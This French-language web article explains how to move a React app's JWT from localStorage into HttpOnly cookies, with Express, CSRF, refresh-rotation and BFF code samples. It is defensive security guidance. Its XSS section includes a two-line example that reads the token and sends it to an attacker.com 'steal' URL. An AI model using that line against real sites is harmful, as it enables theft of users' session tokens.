Accueil / Articles

Déplacer le JWT d’une application React hors de localStorage vers des cookies HttpOnly

Découvrez pourquoi les JWT stockés en localStorage sont vulnérables à tout type d’XSS, comment les cookies HttpOnly avec les paramètres SameSite, de rotation et un BFF réduisent le risque, ainsi quels pièges persistent dans les applications React.

Éditeur : REACTAPP.TOP9 min de lecture2123 mots

Sources: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT

Le lieu où une application React stocke son token d’accès détermine le coût potentiel d’une faille de type cross-site scripting. Un JWT stocké dans localStorage peut être lu et extrait par n’importe quel script présent sur la page ; celui stocké dans un cookie HttpOnly ne le peut pas, bien que les cookies soulèvent plutôt des problèmes de falsification de requêtes entre sites. Ci-dessous, vous trouverez une comparaison des deux options, une configuration basée sur des cookies avec un backend Express, ainsi que les techniques de rotation, de CSRF et Backend-for-Frontend qui complètent ce système.

Deux options de stockage, deux modèles de menaces

Le navigateur ne fait pas la distinction entre vos scripts et ceux injectés, ce qui entraîne des comportements différents pour les deux emplacements habituels de stockage d’un JWT :

  • localStorage est lisible par tout JavaScript de l’origine. La menace principale est le XSS ; les mesures d’atténuation consistent en une politique CSP stricte et en des opérations de nettoyage du contenu.
  • Les cookies HttpOnly sont envoyés par le navigateur et invisibles pour JavaScript. La menace principale est le CSRF ; les mesures d’atténuation consistent en l’utilisation de SameSite et de tokens CSRF.
  • Pourquoi localStorage transforme XSS en prise de contrôle du compte

    Tout script exécuté sur votre domaine a besoin de deux éléments pour voler le token :

    // Any script running on your domain can do this:
    const token = localStorage.getItem('access_token');
    fetch('https://attacker.com/steal?token=' + token);
    

    Le code injecté atteint les projets React par plus de voies que ce à quoi les équipes s’attendent :

    • dangerouslySetInnerHTML avec du contenu que vous ne contrôlez pas.
    • Des paquets npm compromis, comme dans les incidents concernant event-stream et ua-parser-js.
    • Des scripts modifiés provenant de CDN externes.
    • Des générateurs de Markdown qui omettent la sanitisation.
    • Des extensions de navigateur qui injectent du code dans la page.

    JSX échappe les chaînes interpolées, mais cette protection disparaît dès que le code choisit de ne pas l’utiliser, généralement pour afficher du texte brut ou du contenu en format riche :

    // ❌ NEVER do this with user-generated content
    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    // ❌ Or with rich text editors
    <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
    

    Les outils de nettoyage aident, mais ils ont eux aussi fait l’objet de contournements. À titre de référence, voici le client localStorage bien connu : des outils pour stocker et lire le jeton, ainsi qu’un enveloppeur qui ajoute une en-tête Bearer.

    // services/auth.ts
    const TOKEN_KEY = 'access_token';
    export const setToken = (token: string) => {
      localStorage.setItem(TOKEN_KEY, token);
    };
    export const getToken = () => {
      return localStorage.getItem(TOKEN_KEY);
    };
    export const removeToken = () => {
      localStorage.removeItem(TOKEN_KEY);
    };
    // api/client.ts
    import { getToken } from './auth';
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const token = getToken();
    
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        headers: {
          'Content-Type': 'application/json',
          ...(token && { Authorization: `Bearer ${token}` }),
          ...options.headers,
        },
      });
    
      return response;
    };
    

    C’est simple, et il n’est pas possible de le rendre résistant aux attaques XSS, car la conception exige que JavaScript lise le jeton.

    Cookies HttpOnly par défaut

    Le serveur définit le cookie, et chaque attribut comble une lacune spécifique :

    Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
      HttpOnly;
      Secure;
      SameSite=Strict;
      Path=/;
      Max-Age=900
    
    • HttpOnly le cache aux yeux de document.cookie et à tout accès depuis des scripts.
    • Secure le limite aux connexions HTTPS.
    • SameSite=Strict empêche le navigateur de l’associer aux requêtes initiées par d’autres sites.
  • Max-Age=900 accorde au jeton d’accès une durée de vie de 15 minutes.
  • Le client ne touche plus au jeton

    React supprime les outils de stockage ainsi que l’en-tête correspondant. La ligne essentielle est credentials: 'include', qui fait en sorte que fetch envoie les cookies. En cas de réponse 401, le mécanisme de traitement met à jour le jeton et renvoie la demande, ou redirige vers la page de connexion.

    // api/client.ts
    // No manual Authorization header needed!
    export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
      const response = await fetch(`${API_BASE_URL}${endpoint}`, {
        ...options,
        credentials: 'include', // CRITICAL: Sends cookies with requests
        headers: {
          'Content-Type': 'application/json',
          ...options.headers,
        },
      });
    
      // If 401, try refreshing
      if (response.status === 401) {
        const refreshed = await refreshAccessToken();
        if (refreshed) {
          // Retry original request (browser auto-sends new cookie)
          return apiClient(endpoint, options);
        }
        // Redirect to login
        window.location.href = '/login';
      }
    
      return response;
    };
    

    Dans un environnement de production, limitez le nombre de tentatives à une seule afin qu’une mise à jour qui « réussit » alors que l’API renvoie encore 401 ne puisse pas se répéter indéfiniment, et partagez une seule mise à jour en cours entre plusieurs échecs simultanés, comme décrit dans la solution de mise à jour unique.

    Le côté Express

    Lors de la connexion, le serveur génère un jeton d’accès valable 15 minutes et un jeton de renouvellement valable 7 jours, en utilisant des secrets distincts. Il stocke ensuite un hash du jeton de renouvellement et définit les deux cookies. Le cookie de renouvellement utilise path: '/auth/refresh' afin de ne se rendre que vers cet endpoint. Le gestionnaire de renouvellement vérifie le JWT, le compare au hash stocké à l’aide de bcrypt et émet un nouveau cookie d’accès.

    // auth.controller.ts
    import { Response } from 'express';
    import jwt from 'jsonwebtoken';
    const ACCESS_TOKEN_EXPIRY = '15m';
    const REFRESH_TOKEN_EXPIRY = '7d';
    export const login = async (req, res: Response) => {
      const { email, password } = req.body;
    
      // Validate credentials...
      const user = await validateUser(email, password);
    
      const accessToken = jwt.sign(
        { userId: user.id, role: user.role },
        process.env.ACCESS_TOKEN_SECRET!,
        { expiresIn: ACCESS_TOKEN_EXPIRY }
      );
    
      const refreshToken = jwt.sign(
        { userId: user.id, tokenVersion: user.tokenVersion },
        process.env.REFRESH_TOKEN_SECRET!,
        { expiresIn: REFRESH_TOKEN_EXPIRY }
      );
    
      // Store refresh token hash in database (not the raw token!)
      await storeRefreshToken(user.id, refreshToken);
    
      // Set cookies
      res.cookie('access_token', accessToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 15 * 60 * 1000, // 15 minutes
        path: '/',
      });
    
      res.cookie('refresh_token', refreshToken, {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'strict',
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
        path: '/auth/refresh', // Only sent to refresh endpoint
      });
    
      res.json({ success: true });
    };
    export const refresh = async (req, res: Response) => {
      const refreshToken = req.cookies.refresh_token;
    
      if (!refreshToken) {
        return res.status(401).json({ error: 'No refresh token' });
      }
    
      try {
        const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
    
        // Check if token is in database and not revoked
        const storedToken = await getRefreshToken(payload.userId);
        if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
          return res.status(401).json({ error: 'Invalid refresh token' });
        }
    
        // Rotate: Issue new access token (and optionally new refresh token)
        const newAccessToken = jwt.sign(
          { userId: payload.userId },
          process.env.ACCESS_TOKEN_SECRET!,
          { expiresIn: ACCESS_TOKEN_EXPIRY }
        );
    
        res.cookie('access_token', newAccessToken, {
          httpOnly: true,
          secure: true,
          sameSite: 'strict',
          maxAge: 15 * 60 * 1000,
          path: '/',
        });
    
        res.json({ success: true });
      } catch {
        // Clear cookies on failure
        res.clearCookie('access_token');
        res.clearCookie('refresh_token');
        res.status(401).json({ error: 'Invalid token' });
      }
    };
    

    Avant de le réutiliser : importez bcrypt ; notez que le renouvellement définit en dur secure: true tandis que la connexion vérifie les paramètres de l’environnement ; de plus, res.clearCookie('refresh_token') doit également spécifier path: '/auth/refresh', sinon le cookie n’est pas réellement supprimé.

    CSRF dans un monde SameSite

    Les attaques CSRF exploitent le fait que les cookies sont envoyés automatiquement. SameSite résout la plupart de ces problèmes dans le navigateur, et les navigateurs basés sur Chromium traitent les cookies sans cet attribut en mode Lax. Pour une SPA :

    • Choisissez Strict lorsque le front-end et l’API partagent un même domaine.
    • Choisissez Lax lorsque les utilisateurs arrivent via des liens externes et doivent se connecter dès leur première navigation.
    • Évitez None sauf si vous avez vraiment besoin de cookies entre sites et que vous comprenez les conséquences.

    « Site » désigne le domaine enregistrable, de sorte qu’un sous-domaine apparenté compromis est toujours considéré comme du même site.

    Ajout d’un jeton de double soumission

    Pour une défense en profondeur, le serveur définit une valeur aléatoire dans un cookie lisible, React la copie dans l’en-tête X-CSRF-Token, et le serveur rejette les requêtes où ces deux valeurs diffèrent.

    // Backend sets a non-HttpOnly CSRF cookie
    res.cookie('csrf_token', generateRandomToken(), {
      httpOnly: false, // React needs to read this
      secure: true,
      sameSite: 'strict',
    });
    // React reads it and sends in header
    const csrfToken = document.cookie
      .split('; ')
      .find(row => row.startsWith('csrf_token='))
      ?.split('=')[1];
    fetch('/api/sensitive', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'X-CSRF-Token': csrfToken,
      },
    });
    

    Une page frauduleuse ne peut pas lire vos cookies en raison de la politique same-origin, ce qui l’empêche de générer l’en-tête correspondant. Avec SameSite=Strict et des règles CORS strictes, cela est souvent redondant, mais c’est une protection peu coûteuse contre les mauvaises configurations.

    Rotations des tokens de renouvellement et détection de leur réutilisation

    Les tokens d’accès courts associés à des tokens de renouvellement plus longs constituent la norme, mais un token de renouvellement volé permet encore des accès pendant plusieurs jours. Grâce à la rotation, chaque renouvellement génère un nouveau token de renouvellement et rend le précédent invalide ; si un token obsolète réapparaît, quelqu’un le réutilise, et la réaction appropriée est de révoquer toutes les sessions associées à ce compte.

    // When refreshing, invalidate the old refresh token
    export const refresh = async (req, res) => {
      const incomingRefresh = req.cookies.refresh_token;
    
      // Find user by refresh token
      const user = await findUserByRefreshToken(incomingRefresh);
    
      if (!user) {
        // Possible token reuse! Clear all sessions.
        await revokeAllUserTokens(user.id);
        return res.status(401).json({ error: 'Token reuse detected' });
      }
    
      // Rotate: Generate new pair
      const newRefresh = generateRefreshToken();
      await replaceRefreshToken(incomingRefresh, newRefresh);
    
      // If attacker had stolen old token, it's now invalid
      // If legitimate user has old token (race condition), they'll need to re-auth
    };
    

    Corrigez d’abord un bug : à l’intérieur de if (!user), le code appelle revokeAllUserTokens(user.id) sur une valeur nulle. La détection réelle de la réutilisation doit identifier le propriétaire d’un jeton déjà expiré, généralement à travers un enregistrement de « famille de jetons ». On peut observer des faux positifs lorsque deux onglets se mettent à jour en même temps ; une courte fenêtre de tolérance aide. Le guide stratégique sur les jetons de renouvellement aborde plus en détail le côté serveur.

    Préserver les jetons hors du client grâce à un BFF

    Un Backend-for-Frontend est un serveur léger situé entre React et l’API réelle :

    React App → BFF (Next.js API routes / Express) → Actual API
    

    Il exécute les flux OAuth (Code d’autorisation avec PKCE), conserve les tokens dans des cookies HttpOnly chiffrés, gère le CSRF et élimine la plupart des configurations CORS, étant donné que le navigateur ne fait appel qu’à son propre domaine d’origine. Dans Next.js, un gestionnaire de route peut rediriger les identifiants vers le service d’authentification et transformer le token retourné en cookie :

    // Next.js API Route (BFF pattern)
    // pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
    import { NextRequest, NextResponse } from 'next/server';
    export async function POST(req: NextRequest) {
      const body = await req.json();
    
      // Call actual auth service
      const authRes = await fetch('https://internal-api.company.com/auth', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(body),
      });
    
      const { access_token, refresh_token } = await authRes.json();
    
      const response = NextResponse.json({ success: true });
    
      // Set HttpOnly cookies
      response.cookies.set('access_token', access_token, {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 900,
      });
    
      return response;
    }
    

    Une version complète stockerait également le token de renouvellement et vérifierait authRes.ok avant le parsing. Un BFF est adapté lorsque l’on utilise des services OAuth tiers tels que Google ou GitHub, que l’API se trouve sur un autre domaine, que l’on souhaite séparer la logique d’authentification du bundle, ou que l’on utilise déjà Next.js.

    Sélection d’une configuration

    Pour la plupart des SPAs du même domaine, c’est là la configuration de base :

    ✅ HttpOnly cookies with:
       - SameSite=Strict (or Lax)
       - Secure flag
       - Short-lived access tokens (5-15 min)
       - Rotating refresh tokens (7 days)
       - Token reuse detection
       - CORS properly configure
    

    Pour des API跨-domaine ou des clients mobiles, localStorage n’est acceptable que si l’on accepte le risque XSS et que l’on y remédie :

    localStorage ONLY if:
       - You implement strict CSP headers
       - You audit all dependencies for XSS
       - You don't use dangerouslySetInnerHTML
       - You have a short token lifetime (< 15 min)
       - You accept the XSS risk
    

    Pour les exigences les plus strictes ou les protocoles d’entreprise, un BFF supprime les tokens du navigateur :

     Backend-for-Frontend (BFF):
       - React app talks to same-origin API routes
       - API routes handle tokens in HttpOnly cookies
       - React never touches JWTs
       - Works with OAuth, SAML, enterprise auth
    

    Checklist pour l’authentification basée sur des cookies

    • Marquez les cookies d’authentification avec HttpOnly, Secure et SameSite=Strict.
    • Gardez la durée de vie des tokens d’accès entre 5 et 15 minutes.
    • Rotiez les tokens de renouvellement en détectant leur réutilisation.
    • Envoyez credentials: 'include' dans chaque appel fetch ou axios.
    • Associez Access-Control-Allow-Credentials: true à une origine explicite.
    • Évitez d’inclure les cookies dans les journaux et les analyses.
    • Supprimez les cookies du côté serveur via une endpoint /logout, éventuellement avec Clear-Site-Data: "cookies".
    • Fournissez néanmoins une politique de sécurité du contenu.

    # Example secure headers
    Content-Security-Policy: default-src 'self'; script-src 'self';
    Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
    Clear-Site-Data: "cookies"  # On logout
    

    Conclusion

    Les cookies HttpOnly ne rendent pas l’XSS inoffensif : un script injecté peut toujours envoyer des requêtes authentifiées tant que la page est ouverte. Ce qu’il ne peut pas faire, c’est emporter le jeton avec lui pour l’utiliser ailleurs. Cette différence, associée à une durée de vie courte et à un mécanisme de rotation, fait des cookies le choix par défaut idéal pour les applications web, bien qu’un CSP reste nécessaire en complément. Le CSRF est principalement géré par le paramètre SameSite ainsi que par un jeton de soumission double facultatif, tandis que l’XSS reste un risque persistant dans les codes React à forte dépendance. Lorsque l’authentification entre domaines rend les cookies peu pratiques, il est préférable de créer un petit BFF plutôt que de recourir à localStorage.